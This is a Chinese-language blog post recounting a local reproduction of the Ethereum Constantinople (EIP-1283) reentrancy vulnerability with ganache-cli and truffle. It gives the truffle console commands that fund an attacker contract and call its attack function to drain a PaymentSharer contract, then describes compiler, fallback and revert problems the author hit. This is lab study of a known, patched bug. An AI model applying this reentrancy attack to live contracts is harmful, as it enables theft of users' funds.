看似简单的事情,自己实践起来总是会有意想不到的问题,通过解决问题总会有新的收获。所以要多动手,少BB。
这个最近导致君士坦丁堡审计延迟的一个以太坊bug,来自于EIP 1283,EIP的全称是Ethereum Improvement Proposals(以太坊改进提案),谁都可以上去提一些对以太坊的改进提案,不过必须得严谨、正式,以太坊君士坦丁堡这次漏洞就是由一个EIP引起的,这个EIP的编号是1283,详情地址如下:
https://eips.ethereum.org/EIPS/eip-1283
网上也能搜到一些关于这个漏洞的复现,包括详细的复现脚本:GitHub - ChainSecurity/constantinople-reentrancy: Vulnerable code example including tests for Constantinople Reentrancy,只需要两个命令就能够复现该漏洞。关于漏洞原理就不再赘述了。
为了更加深入的理解这个漏洞,所有打算利用ganache-cli+truffle命令行来操作一番。
1.复现过程
整个过程并不顺利,中间遇到了好几个问题。首先将成功复现的步骤和截图记录下来:(关于ganache-cli+truffle的安装及使用可见:)
1、首先将漏洞利用合约PaymentSharer.sol、Attacker.sol保存到truffle的contracts目录下
2、在终端编译合约truffle compile
3、运行ganache-cliganache-cli --hardfork=constantinople
4、部署合约truffle migrate
5、进入控制台执行命令truffle console
1 | truffle(development)> |
1 | truffle(development)>web3.eth.sendTransaction({from:innocent,to:Attacker.address,value:2000000000000000000}); |
1 | truffle(development)>web3.eth.getBalance(Attacker.address); |
1 | truffle(development)>PaymentSharer.deployed().then(i=>i.init(0,Attacker.address,"0x96e0070c1c62e07dc25c5699b9e7a8a60165e073")); |
1 | truffle(development)>PaymentSharer.deployed().then(i=>i.updateSplit(0,1)); |
1 | truffle(development)>PaymentSharer.deployed().then(i=>i.deposit(0,{from:"0x96e0070c1c62e07dc25c5699b9e7a8a60165e073", value: 1000000000000000000})); |
1 | truffle(development)>web3.eth.getBalance(PaymentSharer.address) |
1 | truffle(development)>Attacker.deployed().then(i=>i.attack(PaymentSharer.address)); |
1 | truffle(development)>web3.eth.getBalance(PaymentSharer.address) |
2.遇到的问题以及要注意的地方
这个过程看似就一个步骤,没有什么问题,但因为自己知识的欠缺,还是弄了好久。下面分点记录问题:
1、address payable _first
编译不通过
查看编译器版本,solc-js版本只有4.*,果断升级truffle:
1 | npm uninstall -g truffle |
升级后:
1 | ➜ truffle version |
2、ganache 升级
1 | ➜ npm uninstall -g ganache-cli |
3、fallback函数未被调用
执行了Attacker.attack后账户b始终没有增加余额,后通过在fallback函数中加日志信息发现该函数并没有被执行。
后来无意间在网上看到“调用的fallback函数与你所指定的地址有关。比如上面的例子中,使用的是msg.sender.transfer(1),那么将意味着如果msg.sender为一个合约地址,就调用它里面写的fallback函数,如果不是合约地址,那么自然就没有fallback函数调用”。
这是自己一直没有搞清楚的一个概念(对于执行攻击合约里面的fallback函数还是原合约的fallback函数之前还疑惑过,却没有去深究)
在PaymentSharer.sol合约里我们想要利用 a.transfer(depo * splits[id] / 100);
来触发攻击合约里面的fallback函数,那么a就得是攻击合约的地址,即在执行PaymentSharer.init()的时候,第一个参数必须为Attacker.address。即在而一开始我没有注意这个问题。
修改之后没有了这个问题。然而却报错VM Exception while processing transaction: revert
。
4、VM Exception while processing transaction: revert
报错
真是一个令人头疼的问题,没有具体的错误的信息。通常revert都是因为gas不足,但是现在理论依据很足,这个漏洞能利用就是因为在EIP1283生效之前对变量进行更改再重置至少需要15000 gas,而生效后只需要400 gas,2300gas上限已经足够了。
尝试很多解决办法都没有解决,于是下载了网上的复现脚本,增加了两行log信息后运行——打印被攻击合约的账户余额
那说明这个漏洞是可以被利用的,ganache-cli --hardfork=constantinople
也是没有问题。
然后查看了该测试项目的truffle配置文件truffle.js,其中指定了solc的版本为0.5.2:
而我当前默认版本是0.5.0,于是修改了自己truffle的配置文件truffle-config.js,指定solc的版本为0.5.2,再重新执行一遍上述第1节的过程,成功!
但是奇怪的是后来再把版本修改为0.5.0和0.5.1都利用成功了。所以好像编译器版本在0.5.0以上就ok了。但是那个revert
错误又是什么原因呢?从VM Exception while processing transaction: revert这边里面有提到
“ If you’re using truffle, configure the optmizier in truffle.js with solc: { optimizer: { enabled: true, runs: 200 } }”
小结
一个简简单单的漏洞复现还是花了一天多时间,不过这个过程也学到了新的东西以及知道自己还有哪些欠缺。后面关于EIP需要深入了解一下,关于公链的内部机制的一些东西,自己都一点不了解。
参考文献
[1]公链安全之以太坊君士坦丁堡重入漏洞分析
[2]Constantinople enables new Reentrancy Attack – ChainSecurity – Medium
[3]VM Exception while processing transaction: revert
[4]solidity fallback函数 - 慢行厚积 - 博客园
[5]GitHub - ChainSecurity/constantinople-reentrancy: Vulnerable code example including tests for Constantinople Reentrancy